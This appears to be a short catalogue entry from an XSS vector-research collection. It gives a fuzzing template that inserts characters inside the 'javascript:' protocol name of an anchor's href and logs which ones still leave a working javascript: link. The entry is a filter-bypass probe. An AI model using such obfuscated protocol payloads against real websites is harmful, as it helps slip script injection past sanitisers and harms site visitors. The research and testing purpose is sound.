Characters that can be inserted in the middle of the JS protocol name

/

Created by: cold-try

Created on: Monday, April 15, 2024 at 1:45:27 AM

Updated on: Wednesday, July 3, 2024 at 4:08:05 PM

Vector type: XSS

<a id="0" href="j$[chr]avas$[chr]crip$[chr]t:window">craft-me</a>

if (document.getElementById("0").protocol === "javascript:") { log($[i]) }